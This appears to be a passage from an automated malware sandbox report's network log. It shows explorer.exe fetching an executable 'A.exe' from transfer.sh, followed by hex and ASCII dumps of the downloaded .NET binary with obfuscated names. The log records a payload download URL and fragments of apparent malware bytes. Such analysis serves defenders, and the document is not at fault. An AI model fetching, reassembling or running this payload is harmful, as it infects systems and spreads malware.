at7QJEo07qvMr0JxA+cChg30akoEpEYlFGmzwYlRTuLZhc96sOgSxU/h70E1ZxcbfM6zdqbcIJfp2w+W0lay5q6VkC+9+AILIuhhMHpDhk1Pb0fKTGfd2kNbq2l3z6lH
2021-12-28 04:19:03 UTC	496	IN	Data Raw: 75 00 73 00 57 00 6a 00 57 00 2f 00 71 00 34 00 50 00 4e 00 34 00 69 00 4b 00 77 00 30 00 4b 00 44 00 37 00 63 00 6d 00 74 00 31 00 49 00 47 00 4d 00 47 00 42 00 54 00 62 00 77 00 61 00 34 00 49 00 56 00 39 00 6d 00 32 00 63 00 46 00 45 00 58 00 73 00 51 00 41 00 39 00 67 00 54 00 49 00 2f 00 78 00 66 00 4f 00 59 00 38 00 70 00 53 00 75 00 45 00 67 00 54 00 6e 00 48 00 76 00 45 00 70 00 51 00 42 00 47 00 6e 00 52 00 33 00 6b 00 68 00 2b 00 48 00 75 00 61 00 57 00 4d 00 30 00 64 00 49 00 72 00 30 00 46 00 31 00 35 00 70 00 78 00 48 00 32 00 77 00 77 00 79 00 58 00 39 00 48 00 78 00 4a 00 4d 00 65 00 50 00 4d 00 61 00 79 00 54 00 67 00 68 00 4d 00 4f 00 43 00 6f 00 36 00 37 00 70 00 32 00 53 00 63 00 73 00 42 00 39 00 7a 00 2f 00 61 00 6a 00 48 00 30 00 72 Data Ascii: usWjW/q4PN4iKw0KD7cmt1IGMGBTbwa4IV9m2cFEXsQA9gTI/xfOY8pSuEgTnHvEpQBGnR3kh+HuaWM0dIr0F15pxH2wwyX9HxJMePMayTghMOCo67p2ScsB9z/ajH0r
2021-12-28 04:19:03 UTC	512	IN	Data Raw: 69 00 6b 00 2f 00 56 00 7a 00 64 00 61 00 31 00 6e 00 65 00 77 00 43 00 4f 00 51 00 47 00 6e 00 50 00 44 00 4a 00 6d 00 75 00 33 00 53 00 73 00 57 00 6e 00 65 00 72 00 2f 00 6f 00 6c 00 65 00 51 00 46 00 30 00 31 00 66 00 48 00 61 00 77 00 4e 00 5a 00 57 00 30 00 2f 00 32 00 72 00 71 00 38 00 52 00 77 00 52 00 4a 00 4d 00 34 00 72 00 36 00 59 00 71 00 4e 00 58 00 73 00 6f 00 36 00 37 00 43 00 46 00 32 00 37 00 6a 00 6e 00 58 00 56 00 50 00 4e 00 33 00 4f 00 5a 00 6e 00 79 00 69 00 75 00 75 00 54 00 78 00 70 00 50 00 6c 00 6a 00 4a 00 5a 00 77 00 30 00 33 00 32 00 31 00 4a 00 44 00 65 00 77 00 43 00 6b 00 33 00 51 00 78 00 51 00 6e 00 76 00 68 00 2f 00 68 00 45 00 52 00 74 00 35 00 62 00 6f 00 5a 00 4e 00 4f 00 65 00 6d 00 47 00 4a 00 63 00 71 00 64 00 32 Data Ascii: ik/Vzda1newCOQGnPDJmu3SsWner/oleQF01fHawNZW0/2rq8RwRJM4r6YqNXso67CF27jnXVPN3OZnyiuuTxpPljJZw0321JDewCk3QxQnvh/hERt5boZNOemGJcqd2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49841	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:37 UTC	526	OUT	GET /get/s3SPeb/A.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2021-12-28 04:19:38 UTC	526	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Tue, 28 Dec 2021 04:19:38 GMT Content-Type: application/x-ms-dos-executable Content-Length: 538112 Connection: close Content-Disposition: attachment; filename="A.exe" Retry-After: Tue, 28 Dec 2021 05:19:38 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.96,102.129.143.96 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1640665178 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders
2021-12-28 04:19:38 UTC	527	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5d 02 25 8f 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2e 08 00 00 06 00 00 00 00 00 00 1e 4d 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL]%0.M `@ @
2021-12-28 04:19:38 UTC	542	IN	Data Raw: 11 38 28 f1 00 00 06 11 47 59 13 17 20 95 00 00 00 38 a3 dd ff ff 11 60 11 6a 11 16 16 91 9c 20 97 01 00 00 28 1d 01 00 06 3a 8b dd ff ff 26 20 0c 02 00 00 38 80 dd ff ff 14 13 16 20 61 02 00 00 38 73 dd ff ff fe 0c 6c 00 20 09 00 00 00 20 9f 00 00 00 20 35 00 00 00 59 9c 20 bf 01 00 00 38 54 dd ff ff 11 0a 28 09 01 00 06 13 3c 20 65 00 00 00 28 1d 01 00 06 3a 3c dd ff ff 26 20 4a 02 00 00 38 31 dd ff ff 20 87 00 00 00 20 61 00 00 00 58 fe 0e 3b 00 20 c6 00 00 00 28 1c 01 00 06 3a 13 dd ff ff 26 20 be 00 00 00 38 08 dd ff ff 11 38 28 f1 00 00 06 13 1d 20 d2 00 00 00 28 1d 01 00 06 3a f0 dc ff ff 26 20 ea 01 00 00 38 e5 dc ff ff 16 13 34 20 86 00 00 00 28 1c 01 00 06 39 d3 dc ff ff 26 20 2e 01 00 00 38 c8 dc ff ff fe 0c 6c 00 20 03 00 00 00 20 dd 00 00 00 Data Ascii: 8(GY 8`j (:& 8 a8sl 5Y 8T(< e(:<& J81 aX; (:& 88( (:& 84 (9& .8l
2021-12-28 04:19:38 UTC	558	IN	Data Raw: 3f 00 00 00 38 00 00 00 00 d0 2e 00 00 02 28 01 01 00 06 11 48 28 0e 01 00 06 28 0f 01 00 06 74 2e 00 00 02 80 66 00 00 04 20 01 00 00 00 28 1c 01 00 06 3a bf ff ff ff 26 20 01 00 00 00 38 b4 ff ff ff dd 4c 00 00 00 26 20 00 00 00 00 28 1c 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 23 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1a 00 00 00 20 01 00 00 00 28 1d 01 00 06 3a 25 ff ff ff 26 20 01 00 00 00 38 1a ff ff ff dd 2a ae ff ff 20 33 00 00 00 38 16 9d ff ff 11 5a 28 e9 00 00 06 20 3f 02 00 00 38 05 9d ff ff 38 c9 b8 ff ff 20 22 02 00 00 38 f6 9c ff ff 11 72 11 56 1a 5a 1a 12 1b 28 ae 00 00 06 39 90 b4 ff ff 20 71 00 00 00 28 1d 01 00 06 3a d4 9c ff ff 26 20 3a 01 00 00 38 c9 9c ff ff fe 0c 18 00 20 00 00 00 00 fe 0c 3b 00 9c 20 Data Ascii: ?8.(H((t.f (:& 8L& (:& 8#E8 (:%& 8* 38Z( ?88 "8rVZ(9 q(:& :8 ;
2021-12-28 04:19:38 UTC	574	IN	Data Raw: 00 00 38 9a d1 ff ff fe 0c 0b 00 20 02 00 00 00 fe 0c 19 00 9c 20 21 00 00 00 fe 0e 1d 00 38 7a d1 ff ff fe 0c 03 00 20 08 00 00 00 20 67 00 00 00 20 4a 00 00 00 58 9c 20 1d 00 00 00 28 73 01 00 06 39 5a d1 ff ff 26 20 45 00 00 00 38 4f d1 ff ff fe 0c 0b 00 20 02 00 00 00 fe 0c 19 00 9c 20 0c 00 00 00 38 37 d1 ff ff fe 0c 0b 00 20 13 00 00 00 fe 0c 0d 00 9c 20 3e 00 00 00 fe 0e 1d 00 38 17 d1 ff ff 11 24 17 3b aa f7 ff ff 20 89 00 00 00 38 09 d1 ff ff fe 0c 03 00 20 00 00 00 00 20 bf 00 00 00 20 2e 00 00 00 58 9c 20 10 00 00 00 38 ea d0 ff ff 20 0c 00 00 00 20 65 00 00 00 58 fe 0e 19 00 20 fe 00 00 00 38 d1 d0 ff ff 11 15 13 02 20 5f 00 00 00 38 c3 d0 ff ff fe 0c 03 00 20 0b 00 00 00 fe 0c 16 00 9c 20 16 00 00 00 38 ab d0 ff ff fe 0c 0b 00 20 1a 00 00 00 Data Ascii: 8 !8z g JX (s9Z& E8O 87 >8$; 8 .X 8 eX 8 _8 8
2021-12-28 04:19:38 UTC	590	IN	Data Raw: 6c 47 1e 0e 00 4e 71 47 1e 16 00 ad 71 b9 71 06 00 e1 71 9c 2c 06 00 19 73 23 27 06 00 6d 73 87 73 06 00 97 73 5f 00 0a 00 ab 73 2b 00 06 00 bc 73 d9 73 06 00 fd 73 d9 73 06 00 09 74 d9 73 06 00 0d 74 2b 00 06 00 28 74 23 27 06 00 3d 74 36 18 06 00 5f 74 36 18 06 00 71 74 36 18 06 00 79 74 5f 00 00 00 00 00 10 01 00 00 00 00 01 00 01 00 81 01 00 00 19 01 00 00 29 00 01 00 02 00 81 01 00 00 5f 01 00 00 29 00 02 00 06 00 03 01 00 00 82 01 00 00 29 00 03 00 0c 00 81 01 00 00 97 01 00 00 29 00 05 00 11 00 01 00 00 00 ce 01 00 00 29 00 08 00 15 00 83 01 00 00 0c 02 00 00 29 00 0a 00 1d 00 81 01 00 00 13 02 00 00 29 00 0b 00 1e 00 01 00 00 00 3b 02 00 00 29 00 0d 00 27 00 83 01 00 00 0c 02 00 00 29 00 0f 00 2f 00 83 01 00 00 7d 02 00 00 29 00 11 00 30 00 80 01 Data Ascii: lGNqGqqq,s#'msss_s+sssstst+(t#'=t6_t6qt6yt_)_))))));)')/})0
2021-12-28 04:19:38 UTC	606	IN	Data Raw: 02 00 00 00 00 00 00 c6 05 6a 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 75 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 80 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 8b 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 96 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 a1 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 ac 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 b7 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 c2 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 cd 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 d8 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 e3 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 ee 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 f9 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 04 43 56 0f 4a 02 00 00 00 00 00 00 c6 05 0f 43 56 0f 4a 02 00 00 00 00 00 00 c6 05 1a 43 56 0f 4a 02 00 00 00 00 00 00 c6 05 25 43 56 0f 4a 02 00 00 Data Ascii: jBVJuBVJB\JB\JBVJBVJBVJB\JBVJBVJBVJB\JBVJBVJCVJCVJCVJ%CVJ
2021-12-28 04:19:38 UTC	622	IN	Data Raw: 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 95 50 00 00 02 00 9c 50 00 00 01 00 95 50 00 00 02 00 9c 50 00 00 03 00 90 21 00 00 04 00 4a 21 00 00 01 00 a3 21 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 95 50 00 00 01 00 95 50 00 00 02 00 90 21 00 00 03 00 4a 21 00 00 01 00 a3 21 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 Data Ascii: *************************PPPP!J!!PP!J!!**
2021-12-28 04:19:38 UTC	638	IN	Data Raw: 52 65 61 64 65 72 00 67 65 74 5f 42 61 73 65 53 74 72 65 61 6d 00 73 65 74 5f 50 6f 73 69 74 69 6f 6e 00 52 65 61 64 55 49 6e 74 33 32 00 75 75 35 6c 30 50 71 44 58 00 50 61 72 61 6d 65 74 65 72 49 6e 66 6f 00 44 79 6e 61 6d 69 63 4d 65 74 68 6f 64 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 45 6d 69 74 00 49 4c 47 65 6e 65 72 61 74 6f 72 00 4d 6f 6e 69 74 6f 72 00 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 00 45 6e 74 65 72 00 47 65 74 4d 61 6e 69 66 65 73 74 52 65 73 6f 75 72 63 65 53 74 72 65 61 6d 00 67 65 74 5f 4c 65 6e 67 74 68 00 52 65 61 64 42 79 74 65 73 00 43 6c 6f 73 65 00 41 64 64 00 45 78 69 74 00 47 65 74 46 69 65 6c 64 73 00 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 4d 65 6d 62 65 72 49 6e 66 6f 00 67 65 74 5f 4d 65 74 61 64 Data Ascii: Readerget_BaseStreamset_PositionReadUInt32uu5l0PqDXParameterInfoDynamicMethodSystem.Reflection.EmitILGeneratorMonitorSystem.ThreadingEnterGetManifestResourceStreamget_LengthReadBytesCloseAddExitGetFieldsBindingFlagsMemberInfoget_Metad
2021-12-28 04:19:38 UTC	654	IN	Data Raw: 70 6b 77 00 69 77 4b 75 47 49 6e 6a 65 00 51 4f 45 4a 75 55 75 66 4a 00 48 54 4e 35 4e 42 63 46 6c 00 59 34 38 30 62 6f 66 49 77 00 51 72 53 31 53 55 6e 59 51 50 00 6e 64 31 58 57 55 68 38 73 00 76 58 32 56 48 62 48 4b 62 00 43 53 68 61 72 70 41 72 67 75 6d 65 6e 74 49 6e 66 6f 46 6c 61 67 73 00 6d 51 78 39 6c 4d 38 4b 58 00 4a 51 54 43 6e 5a 68 4c 6e 00 44 35 41 62 6a 45 70 68 55 56 00 4c 6d 50 62 77 6e 31 4f 71 56 00 62 6c 74 62 49 62 42 65 42 59 00 4a 77 66 62 64 31 68 6d 43 30 00 57 50 71 62 51 67 50 6f 34 33 00 43 58 46 77 53 36 5a 50 58 51 00 78 30 48 62 67 57 58 6a 53 72 00 52 54 4f 62 70 4b 52 33 6a 47 00 58 63 76 62 37 35 64 49 47 59 00 45 46 79 62 36 61 79 4a 76 43 00 6c 45 58 62 59 6d 78 56 37 5a 00 65 65 6e 62 6c 34 38 33 43 36 00 4c 32 34 62 Data Ascii: pkwiwKuGInjeQOEJuUufJHTN5NBcFlY480bofIwQrS1SUnYQPnd1XWUh8svX2VHbHKbCSharpArgumentInfoFlagsmQx9lM8KXJQTCnZhLnD5AbjEphUVLmPbwn1OqVbltbIbBeBYJwfbd1hmC0WPqbQgPo43CXFwS6ZPXQx0HbgWXjSrRTObpKR3jGXcvb75dIGYEFyb6ayJvClEXbYmxV7Zeenbl483C6L24b
2021-12-28 04:19:38 UTC	670	IN	Data Raw: f5 f3 66 43 c2 f8 00 e9 61 b3 a3 70 85 40 4c 68 71 bd e7 c6 9b 57 83 02 71 e1 65 d6 86 d1 2b b8 62 be ad 23 fe ce 14 0b 86 7d 62 28 b7 bd dc d9 25 21 31 85 7e 3b 1e c4 78 3a bf ac 07 bf 2a cf 06 7e da f6 61 04 7d f4 c6 5b 3f 6a 96 e7 4b 93 1b 04 97 55 ca 7c 75 79 c4 a4 4d f4 0b 70 c1 ed 37 09 36 c1 9f 19 4a c9 9b ec 41 0d 5d 8e 4d a5 0a ac 2e 16 a0 06 68 a0 3c bc 98 40 79 da 37 f1 f1 3a a4 86 81 92 0e 97 fd ca 6a 29 d8 78 f6 13 7f 82 c5 06 fe 48 70 cc 4e 95 4d c9 60 23 75 73 43 5d 5b ac 34 9b d4 ee 31 37 24 66 51 55 1b 0f 12 a3 e6 36 8d 84 18 a8 1b 45 a1 77 18 7d f4 55 df eb 80 b4 fa e9 16 9c a2 fe 47 4c 2a b3 f4 00 0b 56 6a 0a d7 04 5f ff a6 9b e5 c8 ec f1 b1 b7 55 f3 b9 24 e6 e4 6e 8b 93 92 6d 38 97 c5 b4 ff 2c 3e e3 0c d2 f6 ec f5 d4 a5 62 95 b2 e6 ac Data Ascii: fCap@LhqWqe+b#}b(%!1~;x:~a}[?jKU\|uyMp76JA]M.h<@y7:j)xHpNM`#usC][417$fQU6Ew}UGLVj_U$nm8,>b
2021-12-28 04:19:38 UTC	686	IN	Data Raw: 4f 9d 20 a6 5c e9 c7 9c 9e e3 f6 1d 0d 00 ff 31 5f 9c d8 76 74 bb d9 52 5f 32 fb 0f 51 93 2a 8d 30 bd 2d 7f f3 a5 57 a5 0f f1 4e c9 e9 da 01 de 28 42 f3 df 84 58 c9 28 4d f8 47 4a cf 72 16 6e a2 de 18 2c bc 71 d7 b3 65 1d f7 3b 2f ec 15 2a 1e 57 d9 96 63 b6 a2 8e e4 e2 ab e3 a3 e6 ca 06 d2 1c 69 04 5a 52 36 39 19 b6 ae aa 76 43 58 e4 64 d9 de 63 30 cb 4c 60 49 ba 14 96 59 ee 50 50 0e 6d 8b 01 02 8e 63 cb 7b 03 90 95 cc 2e 87 3b 7f 65 fe 0d 65 c6 36 26 9b f1 b8 0c d7 db 02 d0 9f 30 36 d2 00 63 c4 30 fc 8e 55 ed 8e bd 81 02 04 46 ed 15 05 c6 d9 97 18 a7 f9 70 51 2f d2 8e a4 8c 0a 0d 39 4b 2a 12 23 e3 b0 87 72 d5 a3 f6 2d bd 71 37 09 6c 11 74 bc e2 cc 08 ad 91 9f 13 85 ce e6 5a f1 00 86 01 72 23 f8 b1 02 9d a4 40 e8 e4 3e 3a 58 cb 54 78 12 73 14 f8 e8 ef bd Data Ascii: O \1_vtR_2Q0-WN(BX(MGJrn,qe;/WciZR69vCXdc0L`IYPPmc{.;ee6&06c0UFpQ/9K*#r-q7ltZr#@>:XTxs
2021-12-28 04:19:38 UTC	702	IN	Data Raw: 34 5a 78 22 f0 3b 13 34 2e 86 6b 91 8a b5 9d b5 89 28 02 4a 80 80 b0 2a dc 09 ef 05 1a 35 8d 96 36 71 95 bc bc 13 ab 52 1b 54 c5 83 a1 12 cb a2 61 d8 e2 6a 98 53 8e e7 05 08 58 6c bf 93 9e 20 65 58 27 8a 8f 1f 48 0b ec b7 f9 6a 3b a0 0f 40 14 97 aa 31 e4 82 9d be f5 57 69 c1 38 49 f9 3e a9 d1 6b 64 30 a7 16 3f 38 90 fd 76 25 56 88 7e d9 fc 8c 2e c6 f1 4b 82 19 a4 e8 aa 94 a7 36 e6 39 b6 91 f8 2f 94 fa b4 91 e4 0e 7f c0 65 7c 1a 43 69 31 cb 5f 11 51 88 f0 a0 3d 8b e3 2f 6d 70 a4 ac bf c5 b0 a6 db 9b 95 d7 29 d2 a3 e8 3b 0f 33 0c ef c4 94 a3 cc d3 34 fd da 4b 02 cd 98 0b d3 10 70 df f5 1a a2 6c ef da 78 9a 99 27 ee 88 b9 64 96 b9 52 b2 28 a2 a4 f6 35 c4 3b f5 01 3d 86 e6 c6 96 fe c9 5e 65 6e 5a 77 37 f4 59 1b 2a a5 70 4a 15 cd 43 36 ea 18 49 6d 80 35 5d 08 Data Ascii: 4Zx";4.k(J56qRTajSXl eX'Hj;@1Wi8I>kd0?8v%V~.K69/e\|Ci1_Q=/mp);34Kplx'dR(5;=^enZw7YpJC6Im5]
2021-12-28 04:19:38 UTC	718	IN	Data Raw: 0f 09 c9 aa 54 f7 b6 6c 7f bb 33 e1 fe e0 90 c5 13 07 37 e9 65 d4 60 f6 f7 37 b7 9e a5 2f 70 49 1b ce db 50 fd 88 30 b7 fd 0f 89 4c 8d 1a 18 c4 0a 2a 5e d3 de 5a ad 39 a3 2c 50 39 4f d9 80 6c 1b 91 4c 7f 3d fc 7d 08 bb fe ed 5f b0 56 c7 95 be 27 6e 6f 5c 8d 59 a5 4c 44 70 e8 ed 0a 12 81 a6 e8 1e ef 43 69 51 f0 e7 79 15 33 9b 5b d9 cd 72 ec 21 02 95 50 69 6d c6 0b b8 ff 90 59 04 12 82 37 e0 ea c8 3d 83 f0 17 07 e2 c9 db 62 cd 22 dd 80 65 f8 a9 19 61 b0 33 22 9b 1e e4 e2 c6 93 26 2e 46 f1 10 2b ab 8c b9 34 6a c6 85 23 c8 47 f0 41 43 f4 d4 02 3f b9 41 19 bd 59 ae b6 d7 87 4f 0c 2a 27 6a d7 4d 8a 2d 3c 36 a9 cd 0a a2 46 c0 21 3c 44 4e 28 3c 1d 36 eb 55 ca 7c fe fc 01 5f 30 a9 2e 88 7b b8 82 51 71 3b d4 d6 f8 67 2c be f7 f0 7d 89 6a 21 6b d8 13 3d e3 c0 d3 8b Data Ascii: Tl37e`7/pIP0L^Z9,P9OlL=}_V'no\YLDpCiQy3[r!PimY7=b"ea3"&.F+4j#GAC?AYO'jM-<6F!<DN(<6U\|_0.{Qq;g,}j!k=
2021-12-28 04:19:38 UTC	734	IN	Data Raw: 25 4f 8b 22 45 6b 66 cf 44 ad d1 0e 39 41 2c f5 52 ff 75 a8 56 ef d6 6b ad 63 7a 8a ba 79 2f e0 e4 0f 74 f5 4d 92 b0 d2 c3 89 11 b1 87 bf 7d f0 47 5b 3f 57 32 f1 8d 18 cd c8 ea ea f7 d5 88 09 cb 63 89 3d 77 cf 7e 1e cf 50 67 b0 a1 b7 66 a8 9a 9f f9 85 03 1f 01 c5 1a 55 e5 f6 d6 fe b7 6d d6 b8 2f 89 a7 24 9d c1 37 90 e8 78 de ea 7f 17 71 df 41 c5 58 af f6 78 8e 2b b6 ce d0 d3 cd 55 75 41 3f f8 1f 26 70 67 eb 91 c6 a4 15 67 98 e4 f4 d1 99 7d e2 f0 b3 ea 93 6d 16 ce 9d 26 e5 7d a1 4f d0 33 d5 50 30 e8 ac f5 77 f0 d5 a3 ba 7a e1 9a b2 b0 6a 7d cd f1 d2 9f c2 dc b4 1d 50 ef 27 35 06 6a 35 e7 b4 13 e2 99 9f 20 88 18 9e 29 a4 6c 3b 55 cd d1 2c ea 0d a9 b6 7c 70 db 1b e2 0e 17 d3 28 e1 96 95 d4 c2 fb b8 49 c6 ee 38 7c 75 e6 65 c3 10 5f de 79 63 cd 34 5b b1 e0 d3 Data Ascii: %O"EkfD9A,RuVkczy/tM}G[?W2c=w~PgfUm/$7xqAXx+UuA?&pgg}m&}O3P0wzj}P'5j5 )l;U,\|p(I8\|ue_yc4[
2021-12-28 04:19:38 UTC	750	IN	Data Raw: a4 f7 50 ec 91 3c 71 c4 25 a1 3a 98 39 c3 91 1b 21 6a 7e d5 2c a4 2c 59 d7 f7 f0 a0 eb b7 98 54 d6 eb 3a d3 20 68 2d 42 ba 4e ee 4a 5c 96 3e 8e ac f6 4c c0 42 0c 44 4f 84 3b 33 1f cc bc aa a3 d7 dc 54 04 7d e3 39 9a 95 bd d1 29 26 a6 14 b6 4e 7c 4b be 37 43 59 f4 ca 6c 5e 45 cf b6 3c b5 ee ee 52 3d 20 88 66 85 59 e4 04 8b e2 1e 1f 90 06 ef 77 4a 0d 51 30 e9 e2 c6 6f 80 d5 6e a6 a7 4f 11 4a 87 5c 1e 56 df b3 cd 42 cd b5 97 59 68 53 8f b3 96 38 bb ba 46 ec 92 8a 98 24 60 83 9e eb 8c 56 47 5c 50 20 5b 27 06 d0 ab c1 4b df a1 b4 9f d6 56 20 26 c9 b3 c5 19 75 a0 af cc ca df c8 4c 72 21 33 32 fd 14 b3 2d e9 17 4c 34 6a e9 86 54 95 2e 8b 7f 05 5f f0 b0 e8 53 2d ab 08 05 27 d7 52 d2 84 bd 75 f0 1a f8 34 3f 2e c1 78 8c cc b4 70 f0 17 e6 be 76 10 28 94 f6 b6 11 a4 Data Ascii: P<q%:9!j~,,YT: h-BNJ\>LBDO;3T}9)&N\|K7CYl^E<R= fYwJQ0onOJ\VBYhS8F$`VG\P ['KV &uLr!32-L4jT._S-'Ru4?.xpv(
2021-12-28 04:19:38 UTC	766	IN	Data Raw: 57 ff b3 50 cd cc c5 0e 5d 52 f1 31 72 24 ce 36 4d c7 6b 6f 5a 89 4d fd db ab b2 d4 2f d1 26 43 59 41 54 9e 67 64 40 e7 a9 b5 c5 b6 6b b5 69 39 fd 6b 6e 9e 4d 66 09 54 3e bd 04 29 9f 1e ec 1a 7c be 1c 5c ed 18 ba 4a 3e cb 17 34 0c 80 a9 d2 d1 a9 db 45 46 9a c6 7f a9 ee 86 ee fe 85 27 d6 c8 70 f8 d3 33 61 d2 f6 17 3f 7d fa 0d 51 a6 9f e4 ff d5 4c 1a 0a 27 54 c1 e6 9d 2d 8d b2 21 d5 5f 59 ca f3 7c a6 96 a1 64 4f 86 b8 f4 6e 5e 37 d4 23 5d 58 2b 0d f5 89 7a cb a1 76 2e 8a c0 b6 94 32 dc ea e6 ca ea 5b 6d 32 74 42 cb c1 8f 02 c3 82 cb 78 73 3b 2a 9c 75 a8 a1 8e 65 03 b6 c6 4a c6 d9 20 38 8f 8e da 32 f5 d1 0b 76 54 ef 62 fe 35 d6 4b f1 00 bb f8 3d 4d d3 e7 d1 b6 2a 21 06 24 d0 2b 39 1b 13 da b8 d3 b6 e7 26 20 b1 53 56 82 a4 9b 00 f4 e0 cf 16 bf 0a fc 5c e0 6c Data Ascii: WP]R1r$6MkoZM/&CYATgd@ki9knMfT>)\|\J>4EF'p3a?}QL'T-!_Y\|dOn^7#]X+zv.2[m2tBxs;ueJ 82vTb5K=M!$+9& SV\l
2021-12-28 04:19:38 UTC	782	IN	Data Raw: 00 67 00 66 00 55 00 73 00 5a 00 75 00 2b 00 77 00 61 00 76 00 56 00 4b 00 57 00 35 00 2f 00 77 00 33 00 79 00 57 00 6d 00 73 00 48 00 4d 00 6b 00 45 00 69 00 78 00 6a 00 75 00 62 00 64 00 4b 00 52 00 70 00 4e 00 41 00 44 00 37 00 49 00 43 00 62 00 73 00 4b 00 38 00 48 00 48 00 4a 00 37 00 31 00 41 00 37 00 33 00 4f 00 59 00 2f 00 39 00 30 00 75 00 67 00 51 00 53 00 47 00 37 00 35 00 4d 00 51 00 6d 00 35 00 6c 00 30 00 6d 00 41 00 67 00 6b 00 79 00 5a 00 53 00 76 00 2b 00 66 00 48 00 6d 00 70 00 42 00 31 00 49 00 70 00 6f 00 73 00 72 00 59 00 75 00 79 00 76 00 46 00 69 00 49 00 6a 00 7a 00 37 00 6a 00 52 00 4f 00 51 00 59 00 74 00 33 00 51 00 65 00 70 00 6a 00 65 00 4c 00 37 00 6d 00 54 00 46 00 53 00 6f 00 4b 00 68 00 41 00 49 00 31 00 75 00 62 00 2f 00 Data Ascii: gfUsZu+wavVKW5/w3yWmsHMkEixjubdKRpNAD7ICbsK8HHJ71A73OY/90ugQSG75MQm5l0mAgkyZSv+fHmpB1IposrYuyvFiIjz7jROQYt3QepjeL7mTFSoKhAI1ub/
2021-12-28 04:19:38 UTC	798	IN	Data Raw: 00 62 00 62 00 54 00 43 00 53 00 53 00 4f 00 62 00 51 00 39 00 7a 00 2f 00 46 00 68 00 57 00 62 00 52 00 32 00 57 00 49 00 43 00 4f 00 75 00 42 00 32 00 4d 00 51 00 4d 00 4e 00 65 00 56 00 72 00 33 00 63 00 75 00 54 00 4c 00 46 00 41 00 7a 00 6a 00 31 00 66 00 57 00 69 00 70 00 4c 00 5a 00 48 00 61 00 72 00 79 00 6a 00 51 00 2f 00 76 00 65 00 70 00 4e 00 55 00 48 00 2f 00 64 00 43 00 62 00 49 00 48 00 41 00 4e 00 47 00 61 00 6c 00 56 00 71 00 78 00 71 00 54 00 2b 00 71 00 50 00 6f 00 72 00 4a 00 38 00 64 00 71 00 63 00 38 00 56 00 38 00 6a 00 2f 00 54 00 69 00 4d 00 73 00 75 00 47 00 6f 00 76 00 57 00 73 00 58 00 39 00 5a 00 53 00 33 00 75 00 51 00 50 00 33 00 51 00 33 00 47 00 35 00 69 00 73 00 75 00 6b 00 62 00 32 00 51 00 6d 00 61 00 43 00 53 00 34 00 Data Ascii: bbTCSSObQ9z/FhWbR2WICOuB2MQMNeVr3cuTLFAzj1fWipLZHaryjQ/vepNUH/dCbIHANGalVqxqT+qPorJ8dqc8V8j/TiMsuGovWsX9ZS3uQP3Q3G5isukb2QmaCS4
